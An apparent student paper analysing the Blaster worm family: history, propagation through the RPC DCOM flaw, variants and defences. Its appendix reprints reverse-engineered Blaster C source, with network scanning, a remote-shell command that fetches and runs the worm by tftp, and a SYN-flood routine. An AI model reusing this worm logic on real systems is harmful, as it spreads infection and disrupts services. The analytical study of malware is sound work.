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I. Introduction

I guess you all know about tapeworms…?  Good.  Well, what I turned loose in the net yesterday was the…father and mother of all tapeworms… My newest-my masterpiece- breeds by itself…By now I don’t know exactly what there is in the worm.  More bits are being added automatically as it works its way to places I never dared guess existed…And-no, it can’t be killed.  It’s indefinitely self-perpetuating so long as the net exists.  Even if one segment of it is inactivated, a counterpart of the missing portion will remain in store at some other station and the worm will automatically subdivide and send a duplicate head to collect the spare groups and restore them to their proper place.

· John Brunner, The Shockwave Rider
Ballentine, New York, 1975

In 1983, the world of computer science was relatively small and sharply focused on the development of desktop and distributed systems.  There was very little attention paid to security outside of the realm of access control.  Very few, if any, researchers paid attention to the then insignificant work in network security, especially the area of malicious code; most ‘online’ communication was still done using bulletin board services (BBS), whose accounts were largely unprotected.  However, this was all about to change, when an unknown doctoral student made a stunning announcement.

Although some previous research had occurred, it wasn’t until the announcement of Fred Cohen’s virus experiments that the general computing community took notice of a new phenomenon, malicious code (malcode) [1].  Malcode is the category of programs that are created for malicious purposes; examples of malcode are computer viruses, worms, and exploit scripts.  After Cohen’s announcement that he had developed and experimented with several virus varieties in the lab, the computing community was outraged, and immediately went about attempting to ban any potential malcode research in their labs.  

The problem that most computer scientists were confronting with the announcement was that, malcode, if released, could be devastating because of the lack of security.  But Cohen’s seminal work was not the first in the field of malcode; in 1982, John Shoch and Jon Hupp published an obscure paper (and also presented an earlier version at the ACM Workshop on Fundamental Issues in Distributed Computing in 1980) describing a program that they developed to experiment with distributed computation – a program that would replicate in idle machines and distribute itself to other machines without instructions from a user [2].  They called their experimental program a worm, after a reference to the science fiction book, The Shockwave Rider, by John Brunner.  The purpose of their worm was to automatically distribute computation between idle machines, thereby minimizing the maintenance of a distributed system.

As time went on, the concept of a worm continued to be utilized by researchers in distributed computing; however, computer criminals and so-called ‘hackers’ also adopted the concept, but for a much more wicked purpose.  Starting in 1988, and continuing today, worms are distributed through the Internet, exploiting security vulnerabilities and consuming computing resources – released simply for the purpose of destruction.  Because of our current reliance on computers and networks in business, contemporary worms cause billions (and sometimes trillions) of dollars of damage and lost profits and productivity when they are released, making the study of malcode very important. 

In this project, our group will continue the study of malcode, focusing on a specific family of worms, the Blaster family.  This paper will discuss several aspects of the Blaster worm.  First, an overview of worms is necessary.  Second, this paper will discuss the historical background of the Blaster worm.  Third, the details of the worm will be revealed, including how it works, how it spreads, and what it does.  Fourth, the paper will present how to defend systems against the Blaster family.  Lastly, this paper will discuss the other worms in the Blaster family, including Welchia the ‘good worm’; as well as the overall implications of Blaster and its family with regards to computer security and national infrastructure.  In the end, the reader should understand the workings of a worm, the details of the Blaster worm family, and what worms will mean in the future.

II. Overview of Worms

A computer worm is “a program that self-propagates across a network exploiting security or policy flaws in widely-used services.” [3] The difference between a worm and a virus, albeit sometimes blurred, is that a virus requires a user action to propagate, while a worm is self-propagating.  However both a worm and a virus can cause significant damage, depending on their payloads; most of the damage caused by today’s worms and viruses is the immense amount of network traffic they require.  As the worm or virus spreads through a network, it will consume bandwidth so that service is slowed for actual users.  Along with the network bandwidth, worms can infect systems and cause damage to files or programs, and then copy themselves to another computer where they will attempt to cause the same damage.

The way a worm works is not difficult to understand.  There is no secure software; there always exists some vulnerability that can be exploited.  Therefore, one can write a program to exploit these vulnerabilities, which is how a worm is transmitted – a worm is written to use a software vulnerability to get into a machine.  When a user has a worm, the worm uses the network that the user’s computer is connected to find other computers that it can infect.  The worm then copies itself to the other computers using another program like TFTP, or through a buffer overflow attack.  These computers are then infected.  The worm then executes its payload on these new computers, which can do anything to the machine, and then continues to search for new machines to infect.

Although from our standpoint, worms have been around for a while, they are a relatively new phenomenon.  The first worm to pose a security threat was released in December 1987, called Christmas Tree Exec, and attacked IBM mainframes.  This seemingly innocuous worm brought down the worldwide IBM network and BITNET.  But it was not actually a worm; it was a “Trojan horse with a replicating mechanism.” [4] 

The first true worm was the Morris Worm written by Robert Morris and released on November 2, 1988.  It attacked Sun and DEC UNIX systems through TCP/IP by exploiting a system administration flaw.  What resulted was a significant decline in service on the Internet, effectively causing all Internet communication to cease.  The first worm was a significant turn of events for computer security because it finally showed the effectiveness of malcode to exploit vulnerabilities to cause damage.  The interesting note is that Morris did not write the worm to be vicious, rather as a proof-of-concept, but had a bug in the code that caused it to overload systems it infected.  Since 1988, worms have been a constant feature on the Internet, including the Melissa worm, Code Red, Nimda, and Blaster; because of the frequency of worms, it makes it that much more important to study their activities to create better defenses.  Lets now look at the Blaster worm in more detail. 

III. Blaster Background

Since worms are self-replicating, they tend to spread much faster than viruses.  Therefore, the ability to catch a worm quickly and disseminate information about it regarding potential defenses is paramount.  However, even when caught quickly, worms can still spread and cause damage on a massive scale, usually due to the lack of education of the general computing public.  Blaster was originally discovered in the wild at 7:00 GMT, August 11, 2003 by the SANS Internet Storm Center (http://isc.sans.org/); a CERT advisory was immediately released with details about the worm [5].  In terms of response, the Blaster worm was caught relatively quickly: within an hour of its release [6].


Because of the rapid detection and identification of the worm, a tool was immediately available for users to detect and remove infection.  However, even with the tool available, and a patch from Microsoft available three months previously, the Blaster worm family infected a more than 1.2 million systems worldwide, and cost the global economy $13 billion.  Overall, worm outbreaks have cost businesses up to $100 billion worldwide – a large figure that indicates the importance of studying and defending against malcode outbreaks.  Following is our group’s detailed analysis of the Blaster worm family.

IV. Blaster Details

The Blaster worm (also known as LoveSan, MSBlast, and other names) takes advantage of a Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) vulnerability in Microsoft Windows 2000 and Windows XP [7].  While the same vulnerability exists in Windows NT 4.0 and Windows Server 2003, the worm is not designed to replicate on these platforms.  It could crash systems running NT or Server 2003, or if the worm is placed manually on such a system, it could attempt to spread, but these platforms are not targets of the worm's propagation method.  RPC is a protocol that enables one computer to execute code on another computer.  The vulnerability exists in RPC's handling of malformed messages sent over TCP/IP.  If a specially crafted message was sent, an attacker could install programs on the victim's machine, as happens with the Blaster worm.


In Blaster's case, an attacker sends a request to port 135 (the standard DCOM lookup port).  If the port is open, a terminal session is opened on port 135.  The executable worm msblast.exe is transferred to the victim's machine using tftp (trivial file transfer protocol), and then run [8].


When Blaster runs, it first checks to see if the computer is already infected and Blaster is already running.  If it is not, the worm first makes an entry "windows auto update"="msblast.exe" to the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.  This entry insures that Blaster will start each time the machine boots into Windows.  Blaster next tries to generate an IP address of another machine to infect.  Sixty percent of the time, the IP address generated is random.  The rest of the time, the generated IP address is of the form A.B.C.0 where A and B are the same as the corresponding parts of the infected machine's IP address.  Sixty percent of the time this method is used for generating an IP address, C is also the same as the victim's IP address.  The rest of the time, if C is greater than 20, a random number less than 20 is subtracted from C.  After this point, the last part of the IP address is incremented by one repeatedly until it reaches 254.  The goal of this is to infect as many machines within the IP subnet of the victim as possible while still trying to infect machines outside of the local IP subnet.  The worm then attempts to connect to port 135 on the machine with the generated IP address.  Eighty percent of the time, the worm attempts to send itself using a Windows XP version of the DCOM vulnerability, the rest of the time it uses a Windows 2000 version of the vulnerability [8].

After the propagation phase, the worm sets up a remote shell process listening on port 4444.  The attacker could then send remote commands to this port that would be executed on the infected machine.  The infected machine also sets itself up as a tftp server listening on port 69 for requests to send the msblast.exe worm to a machine that responded to the propagation phase.


Depending on  the current date, the worm attempts to perform a denial of service (DoS) attack on windowsupdate.com (the website where updates for Windows products are posted).  If the current day is the 16th of the month for months January through August, or if the current month is September through December, the DoS attack is attempted.  This attempt will only successfully be sent in three cases:

· If the machine is running Windows XP and was infected or restarted during the payload period.

· If the machine is running Windows 2000 and was infected during the payload period and has not since been restarted.

· If the machine is running Windows 2000 and has been restarted, and the current user has Administrative privileges.

The DoS attack consists of a SYN flood on port 80 of windowsupdate.com.  The worm attempts to send 50 HTTP packets per second.  Each packet is 40 bytes long.  If the DNS lookup for windowsupdate.com fails, the destination address is 255.255.255.255.  This failure in the worm led to Microsoft removing windowsupdate.com from the DNS servers and kept them from experiencing the ill effects of the DoS attack.  The worm contains the following text that is never displayed: "I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!" [8]

Some symptoms of the worm are a flood of activity on port 135, and the machine shutting down every few minutes.  These shutdowns may or may not be accompanied by a warning dialog box claiming that the RPC service terminated unexpectedly [9].  Indications of infection are the presence of the registry key mentioned earlier to start msblast on bootup as well as the presence of the msblast.exe file.

V. Blaster Defense

To clean up an infected machine, many anti-virus companies have released tools that can clean the infected machine (among them, Symantec and McAffee).  To perform a manual cleanup, it is first necessary to stop the worm process msblast.exe using the Task Manager.  Next, the msblast.exe file should be deleted.  Finally, the registry entry mentioned previously needs to be deleted.  A virus scan should also be run on the system using up-to-date virus definition files.  Once all this is done, the security patch for this vulnerability (MS03-039) should be downloaded and installed using Windows Update.


To prevent the spread of this worm (and other similar worms) preemptively, the ports 135 and 69 could be blocked [10].  To prevent the attempted DoS attack, port 4444 could be blocked.  This will stop the worm propagation, but could also have adverse effects on other programs that depend on these ports being open.  Regardless, the critical update should be downloaded and installed from Windows Update.

VI. Blaster Variants


A recent trend in worm activity is the release of variant worms.  A variant worm follows the prior release of a worm that is exploiting a new vulnerability in hosts on a network, and need only vary from the original by a single bit.  This follow-up worm is often more devastating than the original, largely due to two factors.  First, a worm release often follows the release of a patch by vendors.  Worm writers (however absurd) are known for their attempts to punish users and administrators for not patching their systems in a timely manner.  As security experts write rule sets for firewalls and intrusion detection systems in hopes of blocking, say, access to a port, virus and worm writers attempt to bypass these new firewall rules by changing the signature of the worm or virus.  


Second, the original version of a worm is often only moderately successful at infecting and propagating through a network.  Once the worm code is made widely available through the release of the worm, the thousands of so-named "elite" hackers will have the opportunity to optimize the worm and increase its effectiveness.  The hard part is writing a successful (from the hacker's point of view) virus.  Tweaking a virus to make it far more damaging is a relatively trivial problem.  


The Code Red worm is a perfect example of the increasing trend of variant worms [11,12].  The original Code Red worm is a relatively weak exploit, launched in the summer of 2001, causing infected IIS servers to launch a Denial of Service (DoS) attack against www.whitehouse.gov, the web page of our Executive Branch.  The variant worm, called Code Red II, used the exact same flaw, a buffer overflow bug in IIS.  However, Code Red II has a much more dangerous payload.  Once an IIS server is compromised, the attacker is given full administrator (root) access to the infected machine.  The Code Red II worm was given a threat level of "Serious" by Symantec, a leading maker of security software, while the original worm was only given a threat level of "Low".  While a DoS attack can cause servers to crash and make some network resources unavailable for a time, an attacker given root access to a server is definitely more severe.  It is clear that once a worm or virus is released, the potential for an even worse attack through a variant is noticeably increased.  


The hacker/script-kiddy community spawned several variants of the Blaster worm.  Here is a table of Blaster’s history:

	Worm Name
	Date Launched
	Executable Name
	Risk Level

	W32.Blaster.A
	Aug. 11th, 2003*
	msblast.exe
	Serious

	W32.Blaster.B
	Aug. 13th, 2003
	penis32.exe
	Moderate

	W32.Blaster.C
	Aug. 13th, 2003
	index.exe, root32.exe, teekids.exe
	Moderate

	W32.Welchia**
	Aug. 18th, 2003
	mspatch.exe
	Moderate

	W32.Blaster.E
	Aug. 28th, 2003
	mslaugh.exe
	Low

	W32.Blaster.F
	Sept. 1st,  2003
	enbiei.exe
	Low

	Total machines infected
	Between 8 and 16 million***


* The Blaster vulnerability was first published on July 16th, 2003.
** Also known as Nachi or W32.Blaster.D.
*** As estimated by Microsoft.
Note: table data retrieved through individual security responses from Symantec [12].  Symantec has also downgraded the risk level of most Blaster variants, so note that risk levels change.

All Blaster variants use the same Windows RPC DCOM vulnerability.  However, they differ greatly in their ultimate effect on a machine.  It is also important to note that the patch released by Microsoft will prevent Blaster all variants from infecting a machine [9].  
Blaster.B

Blaster.B is a slight variant to the original Blaster worm.  The only noticeable difference is that the executable file downloaded is changed from msblast.exe to penis32.exe.  Blaster.B is considered a moderate threat (rather than serious) because most administrators have applied filter rules and patches, inhibiting the success of this variant [12].
Blaster.C


The most notable characteristic about Blaster.C is that it attempts to install a backdoor.  It has three files as its payload: index.exe, root32.exe, and teekids.exe.  Index.exe delivers the worm and backdoor component, root32.exe is the backdoor, and teekids.exe is the worm payload [12].
Welchia/Nachi/Blaster.D


Welchia is the most interesting of all the Blaster variants, for two reasons.  The first is that it uses two different vulnerabilities in computers running Windows 2000 and XP.  Its first exploit is the RPC DCOM weakness mentioned previously.  In addition, Welchia uses an IIS vulnerability discovered earlier in 2003.  At the time of Welchia’s release, a patch did exist for this vulnerability.  But, as so often happens, many users and administrators had not applied the patch and were susceptible to the Welchia worm [13].

Welchia was more harmful than other Blaster variants because its signature differed.  The signature is the defining characteristic of a worm or virus, developed by security companies to identify malicious traffic on a computer or network.  Welchia, using multiple Windows vulnerabilities, slipped by many intrusion detection systems (IDSs), causing more havoc. 

Perhaps the most interesting characteristic of the Welchia variant is that it attempted to install the patch for the Blaster worm, rather than intentionally inflict damage.  Welchia was called a “benevolent” worm for awhile; however, Welchia was quite a problem for administrators.  The worm first checks to see if the host is already infected with msblast.exe.  If so, it deletes it and attempts to download the patch from www.windowsupdate.com.  What the “benevolent” worm failed to account for was that it launched so many requests from an infected host, and infected so many total machines, that it resulted in a DoS attack on the Windows update site [12,13].

It’s also worth noting that the Welchia variant also incited a variant of its own, Welchia.B!  This version attempts to remove a different worm, known as MyDoom. 
Blaster.E

Blaster.E is similar to previous variants (aside from Welchia).  It downloads the file mslaugh.exe, and inserts an entry into a Windows registry key (mentioned earlier) to ensure that it starts on reboot.  Blaster.E causes infected hosts to launch a DoS attack against www.kimble.org.  Additionally, this variant displays the string:  “I dedicate this particular strain to me ANG3L - hope yer enjoying yerself and dont forget the promise for me B/DAY!!!!” [12].
Blaster.F


This is a relatively boring version of Blaster.  It has a different executable file, enbiei.exe, and it performs a DoS attack against www.tuaisi.ro (a currently unused domain name).  

VII. Implications of Blaster

The release of the Blaster worm and its variations has had some notable implications in computer security and law enforcement.  First, with an estimated 8 to 16 million infected machines, every system administrator and many users will have heard of Blaster.  With such a large number of infected machines, it is assumed that most users have patched their systems.  At the very least, it is assumed that many administrators and users will have learned to keep their systems more up-to-date.  The vulnerabilities exploited by Blaster and its variants, relating to RPC DCOM and IIS, were released more than two months prior to Blaster’s release.  Hopefully, nearly 9 months later, users and system administrators will have their systems more current.

The Blaster variant called Welchia also introduced an interesting legal conundrum.  Recall that Welchia was a worm that installed the Windows patch on systems infected with the file msblast.exe.  Surely there is a crime that authorities will be able to find to charge the suspect with (he’s currently in custody).  However, what if the worm had executed properly, without DoS-ing the Windows update site?  All infected systems would eventually be patched, and thus free of the worm.  The ultimate problem lies with users that fail or refuse to maintain updated systems.  Note that compromised systems were spreading the worm to other systems – in the future, there may be legal recourse against people/corporations that fail to patch systems, because they are contributing to the propagation of the worm.  There is no “Code of Conduct” on the web to requiring up-to-date systems.  Should there be?  This may or may not be a question of free speech, but a worm has proven its ability to find all hosts (exposed to the Internet, at least) that are running unpatched systems.  It is interesting to think of a day where companies or governments sponsor worms to keep users patched to avoid propagation of large-scale malicious worms, especially in our highly interconnected business and online marketplaces, and the threats to our safety and economy that online terrorist acts pose.
VIII. Conclusion

The Blaster worm and related variants offer a great case study of several characteristics of worm activity.  First, its large rate of infection shows the effect a well-planned worm or virus can have on society.  With an estimated financial loss of over $500 million, this fact is clearly evident.  Second, it highlights the ongoing problem users and administrators face when attempting maintain patched systems.  Blaster is hardly the first large-scale worm ever released, yet people still fail to keep systems updated.  And third, Blaster offers a great insight into the evolution of a worm, and the assumed intentions of their various authors, by analyzing its variants.
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X. Appendix A: Blaster Code

This is the source code for the Blaster worm as reverse engineered by Rolf Rolles and posted to Security Focus (http://www.securityfocus.com/archive/1/333258/2003-08-11/2003-08-17/2)

// globals

unsigned long keystatus, class_a, class_b, class_c, t1, t2, t3, t4, 

unknown_dword2;

unsigned long mysterious_dword=1, mystery_dword2=0;

char filename[0x104], *msblast="msblast.exe";

sockaddr cp;

socket s;

main(int argc, char *argv[])


{


WSAData WSAData;


char name[512];


in_addr in;


*hostent_ptr ptr_to_hostent;


unsigned long passed=0;


char DateStr[3], MonthStr[3];


RegCreateKeyExA

(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windows", 

NULL, NULL, 


 NULL, 0xF003F, NULL, &keystatus, NULL);


RegSetValueExA(keystatus, "windows auto update", NULL, (ULONG)

1, "msblast.exe", (ULONG) 0x32);


RegCloseKey(keystatus);


CreateMutexA(NULL, (ULONG)1, "BILLY");


if(GetLastError()!=0xb7) ExitProcess(0);


if(WSAStartup(MAKEWORD(2,2), &WSAData) || WSAStartup(MAKEWORD

(1,1), &WSAData) \ 




|| WSAStartup((WORD)1, &WSAData))



{



GetModuleFileNameA(NULL, &filename, SIZEOF(filename));



while (!InternetGetConnectedState(&ThreadID, NULL)) {Sleep

(20000);}



srand(GetTickCount());



class_a = (rand() % 254)+1;



class_b = (rand() % 254)+1;

        
if((gethostname(&name, 512)!=-1) || 

(ptr_to_hostent=gethostbyname(&name)))

               

{

               

if((unsigned long)*(ptr_to_hostent.h_list))

               


{

               


memcpy(&in, *(ptr_to_hostent.h_list), 4);

               


sprintf(&name, "%s", inet_ntoa(in.s_addr));

               


t1=atoi(strtok(&name, '.'));

               


t2=atoi(strtok(&name, '.'));

               


t3=atoi(strtok(&name, '.'));





if (t3>20)






{






srand(GetTickCount());






t3 -= (rand() % 20);






}





class_a=t1;





class_b=t2;





passed=1;





}




}



srand(GetTickCount());



if((rand() % 20)>12) passed=0; // this is weird



unknown_var=1;



if((rand()%10)>7) unknown_var=2;



if(!passed)




{




t1 = (rand() % 254)+1;




t2 = (rand() % 254);




t3 = (rand() % 254);




}



GetDateFormatA(0x409, NULL, NULL, "d", &DateStr, 3);



GetDateFormatA(0x409, NULL, NULL, "d", &MonthStr, 3);



if((atoi(&DateStr)>15) && (atoi(&MonthStr)>8)) 




{




CreateThread(NULL, NULL, &AttackMS, NULL, NULL, 

ThreadID);




}



while(1==1) {ScanAndInfect();}



WSACleanup();



}


return;

}

void send_copy_of_self()

{


char buf[0x204];


sockaddr name;


sockaddr to;


unsigned long tolen=16, readlen;


unsigned int var_204, var_202, var_200, i=0;


FILE *thisfile;


some_global_var=1;

this_sub_start:


if((s=socket(2,2,0))==-1) goto this_loc_ret;


memset(&name, NULL, 0x10);


name.sa_family=2;


(unsigned int)name.sa_data=(unsigned int)htons(69);


if(!(bind(s,&name, 0x10))) goto this_loc_ret;


if((recvfrom(s,&buf, 0x204,NULL,&from, &fromlen))==-1) goto 

this_loc_ret;


if(!(thisfile=fopen(&filename,"rb"))) goto this_loc_ret;


send_self_loop:



i++;



var_204=(unsigned int)htons(3);



var_202=(unsigned int)htons(i);



readlen=fread(&var_200, 1, 0x200, thisfile);



readlen+=4;



if((sendto(s, &var_204, filelen, NULL, &to))<1) goto 

fclose_it;



Sleep(900);



if(readlen<0x204) goto send_self_loop;



fclose(thisfile);



goto this_loc_ret;


fclose_it:




if(!((unsigned long)thisfile)) goto this_loc_ret;



fclose(thisfile);



goto this_loc_ret;


goto this_sub_start; // strange, but true


this_loc_ret:



closesocket(s);



ExitThread(0);

return;

}

void inc_tvals()

{


inc_tvals_start:


if(t4>254) {t4=0; t3++;}


else {t4++; return;}


if(t3>254) {t3=0; t2++;}


else {t3++; return;}


if(t2>254) {t2=0; t1++;}


else {t1++; return;}


if(t1>254) {t1=0; goto inc_tvals_start;}

}

void ScanAndInfect()

{


fd_set writefds; // there's actually 64 fds in this array, 

although only 20 are used.


in_addr in;


unsigned long namelen, argp=1, tempvar2, tempvar3;


sockaddr name;


socket s[20], currsock;


timeval timeout;


memset(&name, 0, 16);


name.sa_family=(WORD)2;


name.sa_data=htons(135);


for(int i=0; i<20; i++) 



{



s[i*4]=socket((unsigned long)2, (unsigned long)1, 

(unsigned long)0);



if((unsigned long)s[i*4]=-1) return;



ioctlsocket(s[i*4], 0x8004667e, argp);



}


for(int i=0; i<20; i++) 



{



inc_tvals();



sprintf(&cp, "%i.%i.%i.%i", t1, t2, t3, t4);



tempvar2=inet_addr(&cp);



if(tempvar2=-1) return;



(unsigned long)name.sa_data[2]=(unsigned long)tempvar2;



connect(s[i*4], &name, 16);



}


Sleep(1800);


for(int i=0; i<20; i++)



{



timeout.tv_sec=0; timeout.tv_usec=0; writefds.fd_count=0; 

tempvar3=0;



currsock=s[i*4];



while (tempvar3 < writefds.fd_count)




{




if((writefds.fd_array[tempvar3]==currsock)) break;




tempvar3++;




}



if((writefds.fd_count==tempvar3) && 

(writefds.fd_count>=0x40))




{




writefds.fd_array[tempvar3]=currsock;




writefds.fd_count++;




}



if((select(NULL, NULL, &writefds, NULL, &timeout)<1) 

closesocket(s[i*4]);



else 




{




namelen=10;




getpeername(s[i*4], &name, &namelen); // ?? 

doesn't seem to use the result of this call




infect_host(s[i*4], inet_ntoa(in.s_addr));




closesocket(s[i*4]);




}



}




return;

}

int __cdecl infect_host(SOCKET s,char *cp)

{


sockaddr name;


char fake_sockaddr[0x10], buf[0x370+0x2cc+0x3c], buf2[0x48];


unsigned long argp=0, returnaddy=0, ipaddyofhosttoinfect, hObject, 

ThreadID;

        /* At this point in the code there's some weirdness.

          mov     eax, 2934h

          call    the_code_below


        pop     ecx


        sub     esp, 1000h


        sub     eax, 1000h


        test    [esp], eax


        cmp     eax, 1000h


        jnb     short loc_4022B9


        sub     esp, eax


        test    [esp], eax


        jmp     ecx


        endp


Anyone know what the hell this is?  I'm guessing LCC did not 

compile this code. */


ioctlsocket(s,0x8004667e, &argp);


if(mystery_dword2==1) returnaddy=0x100139d;


else returnaddy=0x18759f;


/* memcpy(&buf, &bindcode, 72);


memcpy(&somestackvar, &request1, 864);


memcpy(&somestackvar2, &request2, 16);


memcpy(&somestackvar3, &request3, 60);


memcpy(&somestackvar4, &sc, 716);


memcpy(&somestackvar5, &request4, 48); 


This is unnecessary crap in the code.  I rewrote it below.*/


memcpy(buf2, bindcode, 0x48);


memcpy(buf, request1, 0x360);


memcpy(buf+0x360, request2, 0x10);


memcpy(buf+0x370, sc, 0x2cc);


memcpy(buf+0x394, returnaddy, 4);


(unsigned long *)buf[0x370]+=(unsigned long)0x166;


(unsigned long *)buf[0x378]+=(unsigned long)0x166;


memcpy(buf+0x370+0x2cc, request3, 0x3c);


memcpy(buf+0x370+0x2cc+0x3c, request4, 0x30);


(unsigned long *)buf[0x8]+=(unsigned long)0x2c0;


(unsigned long *)buf[0x10]+=(unsigned long)0x2c0;


(unsigned long *)buf[0x80]+=(unsigned long)0x2c0;


(unsigned long *)buf[0x84]+=(unsigned long)0x2c0;


(unsigned long *)buf[0xb4]+=(unsigned long)0x2c0;


(unsigned long *)buf[0xb8]+=(unsigned long)0x2c0;


(unsigned long *)buf[0xd0]+=(unsigned long)0x2c0;


(unsigned long *)buf[0x18c]+=(unsigned long)0x2c0;

        if((send(s, &buf2, 0x48, NULL))==-1) goto common_socket_failure;

        if((send(s, &buf, len, NULL))==-1) goto common_socket_failure;

        closesocket(s);

        Sleep(400);

        if((sploit_socket=socket(2, 1, 0))==-1) goto common_socket_failure;

        memset(&name, (unsigned int)0, 0x10);

        name.sa_family=2;

        name.sa_data=(unsigned int)htons(4444);

        if((name.sa_data[2]=(unsigned long)inet_addr(BOX_TO_INFECT))==-1) 

goto common_socket_failure;

        if((connect(sploit_socket, &name, 0x10))==-1) goto 

common_socket_failure;

        memset(&ipofsendingbox, (unsigned int)0, 0x10);

        namelen=0x10;

        memset(&fake_sockaddr, (unsigned int)0, 0x10);

        getsockname(sploit_socket, &fake_sockaddr, &namelen);


sprintf(&ipofsendingbox, "%d.%d.%d.%d", (unsigned short)

fake_sockaddr[4],(unsigned short)fake_sockaddr[5],(unsigned short)

fake_sockaddr[6],(unsigned short)fake_sockaddr[7]);

        if(s) closesocket(s);

        hObject=CreateThread(NULL, NULL, &send_copy_of_self, NULL, NULL, 

ThreadID);

        Sleep(80);

        sprintf(&cmdbuffer, "tftp -i %s GET %s\n", &ipofsendingbox, 

&msblast);

        if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) 

goto close_socket;

        Sleep(1000);


for(int i=0; i<10; i++)



{



if (mysterious_dword=0) break;



else Sleep(2000);



}


sprintf(&cmdbuffer, "start %s\n", &msblast);


if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) 

goto close_socket;

        Sleep(2000);

        sprintf(&cmdbuffer, "%s\n", &msblast);


send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL);

        Sleep(2000);

        close_socket:

        if(sploit_socket) closesocket(sploit_socket2);

        if(mysterious_dword) 

        
{

        
TerminateThread(hObject, NULL);

        
closesocket(s);

        
mysterious_dword=0;

        
}

        if(hObject) CloseHandle(hObject);

        common_socket_failure:


return;                

}

unsigned int checksum(char *checkdata, unsigned long checklength)


{


int j=0;


unsigned long accum, accum2, accum3;


unsigned int currword;


for(i=checklength; i>1; i-=2)



{



currword = (unsigned int)checkdata[j];



accum+=currword;



j+=2;



}


if(i==1) accum+=(unsigned short)checkdata[j+1];


accum2=accum;


accum2>>16;


accum3=accum;


accum3 &= (unsigned long)0x0000FFFF;


accum = accum2;


accum += accum3;


accum2 = accum;


accum2 >> 16;


accum += accum2;


accum = ~accum;


accum &= (unsigned long)0x0000ffff;


return accum;


}

int __cdecl GetIpAddy(char *name)

{


unsigned long E_AX;


E_AX=(unsigned long)inet_addr(name);


if (E_AX!=-1) return E_AX;


E_AX=(unsigned long)gethostbyname(name);


if (E_AX==-1) return E_AX;


E_AX=(unsigned long)*(*(*(E_AX+12)));


return E_AX;

}

unsigned long __stdcall AttackMS(LPVOID)

{


unsigned long ipaddrms, socketms, sockoptsretval, optval=1;


ipaddrms=(unsigned long)GetIPAddy("windowsupdate.com");


socketms=WSASocketA(2,3,0xff,NULL,NULL,1); if (socketms==-1) 

return;


sockoptsretval=setsockopt(E_BX, NULL, 2, &optval, (unsigned long)

4); if (sockoptsretval==-1) return;


while(1==1) {build_and_send_packets(ipaddrms, socketms);  Sleep

(20);}


closesocket(socketms);


return;

}

void build_and_send_packets(unsigned long msipaddr, socket s)

{


char buf1[0xc];


char buf[0x64];


sockaddr to;


char name[0x10];


memset(&buf,0,60);


srand(GetTickCount());


sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%

255);


GetIPAddy(&name);


to.sa_family=2;                


to.sa_data=(unsigned int)htons(0x50);


memcpy(&to.sa_data+2,&msipaddr,4);


buf[0x50]=(unsigned short)0x45;        


buf[0x52]=(unsigned int)htons(0x28);


buf[0x54]=(unsigned int)1;


buf[0x56]=(unsigned int)0;


buf[0x58]=(unsigned short)0x80;


buf[0x59]=(unsigned short)6;


buf[0x5a]=(unsigned int)0;


buf[0x60]=(unsigned long)msipaddr;


buf[0x3e]=(unsigned int)htons(0x50);


buf[0x44]=(unsigned long)0;


buf[0x46]=(unsigned short)0x50;


buf[0x47]=(unsigned short)2;


buf[0x48]=(unsigned int)htons(0x4000);


buf[0x4a]=(unsigned int)0;


buf[0x4c]=(unsigned int)0;


buf1[4]=(unsigned long)msipaddr;


buf1[8]=(unsigned short)0;


buf1[9]=(unsigned short)0;


buf1[10]=(unsigned int)htons(0x14);


buf[0x5c]=(unsigned long)msipaddr;


buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000);


var_9c=rand();


var_9c<<16;


var_9c |= rand();


var_9c &= (unsigned long)0x0000FFFF;


buf[0x40]=(unsigned int)htons(var_9c);


buf1[0]=msipaddr;


memcpy(&buf, &buf1, 0xc);


memcpy(&buf[8], &buf[0x38], 0x14);


buf[0x4c]=(unsigned int)checksum(&buf, 0x20);


memcpy(&buf, &buf[0x50], 0x14);


memcpy(&buf[0x14], &buf[0x3c], 0x14);


memset(&buf[0x28], (unsigned int) 0, 4);


buf[0x5a]=(unsigned int)checksum(&buf, 0x28);


memcpy(&buf, &buf[0x50], 0x14);


// again, anyone know what kind of packets these are?


sendto(s, &buf, 0x28, NULL, &to, 0x10);

}                
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